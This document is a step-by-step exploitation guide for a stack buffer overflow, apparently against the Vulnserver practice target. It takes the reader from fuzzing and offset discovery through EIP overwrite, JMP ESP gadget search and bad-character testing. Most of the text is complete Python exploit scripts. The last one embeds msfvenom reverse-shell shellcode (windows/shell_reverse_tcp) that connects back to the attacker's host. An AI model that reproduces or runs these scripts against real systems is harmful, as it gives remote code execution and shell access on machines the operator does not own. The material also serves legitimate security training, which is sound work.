Buffer Overflow

Step 1: Attach the application on Immunity Debugger

Remember to run both the application and Immunity Debugger as Administrator.

Step 2: Fuzzing

Example script:

import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    try:
        sys.stdout.write("\r Trying %d bytes" % len(buffer))
        sys.stdout.flush()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.3.100", 9999))

        s.send("TRUN /.:/" + buffer)
        s.close()
        sleep(0.05)
        buffer += "A"

    except:
        print "Fuzzing crashes at %s byte" % str(len(buffer))
        sys.exit()

The script will get stuck at some point and you can based on that result to estimate the offset.

No Loop version:

import socket

buffer = "A" * 5000
payload = buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.1.1.1", 9999))
s.send(payload)
s.close()

Step 3: Confirm offset

Pattern create using pattern_create.rb

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <estimate_offset>
msf-pattern_create.rb -l <estimate_offset>

Then put the generated payload as offset and put in the following script.

Example script:

import sys, socket

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.3.100", 9999))
        s.send("TRUN /.:/" + offset)
        s.close()

    except:
        print "Error connecting to server!"
        sys.exit()

On Immunity Debugger, inspect the value of EIP.

Confirm offset

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <estimated_offset> -q <EIP_at_crashed>
msf-pattern_offset -l <estmated> -q <EIP_crashed>

Then it tells you the exact offset.

Step 4: Try overwriting EIP

Using the exact offset found, try to overwrite EIP as BBBB.

Example script:

import sys, socket

shellcode = "A" * <exact_offset> + "B" * 4

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.3.100", 9999))
        s.send("TRUN /.:/" + shellcode)
        s.close()

    except:
        print "Error connecting to server!"
        sys.exit()

Inspect if EIP becomes 0x42424242

Step 5: Find JMP ESP module

In Immunity Debugger, do:

!mona modules

Look for modules that are "all false".

Then find the HEX value for JMP ESP from that module.

!mona find -s "\xff\xe4" -m <module>

Then add a breakpoint at the memory location identified (by using the >... button). Replacing the Bs in the previous script. For example:

import sys, socket

# 625011af

shellcode = "A" * 2003 + "\xaf\x11\x50\x62"

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.3.100", 9999))
        s.send("TRUN /.:/" + shellcode)
        s.close()

    except:
        print "Error connecting to server!"
        sys.exit()

Note how the memory location gets appended. For example, if you find 0x12345678, you should append \x78\x56\x34\x12the script.

After running, you should see the EIP becomes 625011af in this case.

Step 6: Find bad characters

Supply the script with bad characters:

import sys, socket

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode = "A" * 2003 + "B" * 4 + badchars

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.3.100", 9999))
        s.send("TRUN /.:/" + shellcode)
        s.close()

    except:
        print "Error connecting to server!"
        sys.exit()

Then in Immunity, right-click ESP and follow in dump, try to identify discontinued character. Record the bad characters.

Step 7: Append Shellcode

First use msfvenom to generate a payload.

msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

Note that you have to use -b to specify bad characters. \x00 is a known bad character in all cases.

Then append the payload in your exploit script:

import sys, socket

# 625011af

payload = (
"\xdb\xdb\xbb\x71\x60\x55\xca\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x52\x31\x5d\x17\x03\x5d\x17\x83\x9c\x9c\xb7\x3f\xa2\xb5\xba"
"\xc0\x5a\x46\xdb\x49\xbf\x77\xdb\x2e\xb4\x28\xeb\x25\x98\xc4"
"\x80\x68\x08\x5e\xe4\xa4\x3f\xd7\x43\x93\x0e\xe8\xf8\xe7\x11"
"\x6a\x03\x34\xf1\x53\xcc\x49\xf0\x94\x31\xa3\xa0\x4d\x3d\x16"
"\x54\xf9\x0b\xab\xdf\xb1\x9a\xab\x3c\x01\x9c\x9a\x93\x19\xc7"
"\x3c\x12\xcd\x73\x75\x0c\x12\xb9\xcf\xa7\xe0\x35\xce\x61\x39"
"\xb5\x7d\x4c\xf5\x44\x7f\x89\x32\xb7\x0a\xe3\x40\x4a\x0d\x30"
"\x3a\x90\x98\xa2\x9c\x53\x3a\x0e\x1c\xb7\xdd\xc5\x12\x7c\xa9"
"\x81\x36\x83\x7e\xba\x43\x08\x81\x6c\xc2\x4a\xa6\xa8\x8e\x09"
"\xc7\xe9\x6a\xff\xf8\xe9\xd4\xa0\x5c\x62\xf8\xb5\xec\x29\x95"
"\x7a\xdd\xd1\x65\x15\x56\xa2\x57\xba\xcc\x2c\xd4\x33\xcb\xab"
"\x1b\x6e\xab\x23\xe2\x91\xcc\x6a\x21\xc5\x9c\x04\x80\x66\x77"
"\xd4\x2d\xb3\xd8\x84\x81\x6c\x99\x74\x62\xdd\x71\x9e\x6d\x02"
"\x61\xa1\xa7\x2b\x08\x58\x20\x94\x65\x61\xdc\x7c\x74\x65\x0d"
"\x21\xf1\x83\x47\xc9\x57\x1c\xf0\x70\xf2\xd6\x61\x7c\x28\x93"
"\xa2\xf6\xdf\x64\x6c\xff\xaa\x76\x19\x0f\xe1\x24\x8c\x10\xdf"
"\x40\x52\x82\x84\x90\x1d\xbf\x12\xc7\x4a\x71\x6b\x8d\x66\x28"
"\xc5\xb3\x7a\xac\x2e\x77\xa1\x0d\xb0\x76\x24\x29\x96\x68\xf0"
"\xb2\x92\xdc\xac\xe4\x4c\x8a\x0a\x5f\x3f\x64\xc5\x0c\xe9\xe0"
"\x90\x7e\x2a\x76\x9d\xaa\xdc\x96\x2c\x03\x99\xa9\x81\xc3\x2d"
"\xd2\xff\x73\xd1\x09\x44\x93\x30\x9b\xb1\x3c\xed\x4e\x78\x21"
"\x0e\xa5\xbf\x5c\x8d\x4f\x40\x9b\x8d\x3a\x45\xe7\x09\xd7\x37"
"\x78\xfc\xd7\xe4\x79\xd5")

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + payload

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.3.100", 9999))
        s.send("TRUN /.:/" + shellcode)
        s.close()

    except:
        print "Error connecting to server!"
        sys.exit()

Note the padding "\x90" * 32. This could help stabilize the exploit

Last updated